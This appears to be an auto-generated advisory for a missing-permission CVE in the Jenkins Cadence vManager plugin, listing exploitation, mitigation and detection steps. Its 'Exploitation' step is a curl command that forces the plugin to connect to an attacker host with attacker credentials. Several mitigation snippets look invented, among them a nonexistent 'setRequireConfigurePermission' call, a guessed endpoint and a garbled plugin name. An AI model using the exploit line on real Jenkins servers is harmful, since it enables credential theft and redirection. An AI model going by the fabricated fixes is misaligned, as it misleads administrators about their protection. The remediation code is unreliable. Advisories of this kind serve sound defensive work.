How the CVE Works:
The Jenkins Cadence vManager Plugin (versions ≤4.0.1-286.v9e25a_740b_a_48) fails to enforce proper permission checks. Attackers with Overall/Read access can exploit this flaw to force the plugin to connect to a malicious URL with attacker-controlled credentials. This occurs due to inadequate validation in API endpoints, allowing unauthorized users to manipulate connection parameters. The vulnerability exposes sensitive data or enables further attacks by redirecting Jenkins to untrusted systems.
DailyCVE Form:
Platform: Jenkins Plugin
Version: ≤4.0.1-286.v9e25a_740b_a_48
Vulnerability: Missing Permissions
Severity: Moderate
Date: May 16, 2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST 'http://<JENKINS_URL>/vManager/connect' \ -d 'url=http://attacker.com&username=evil&password=123'
2. Bypass Checks: The plugin does not verify if the user has Configure permissions.
Mitigation:
1. Update Plugin:
jenkins-plugin-cli --update "[email protected]"
2. Restrict Permissions:
// Jenkins Script Console
Jenkins.instance.pluginManager.getPlugin('cadence-vmanager').setRequireConfigurePermission(true)
3. Network Controls:
iptables -A OUTPUT -d malicious.com -j DROP
Detection:
1. Log Analysis:
grep "vManager/connect" /var/log/jenkins/access.log
2. Audit Plugin:
Jenkins.instance.pluginManager.plugins.each { p ->
if (p.shortName == "cadence-vmanager") println(p.version)
}
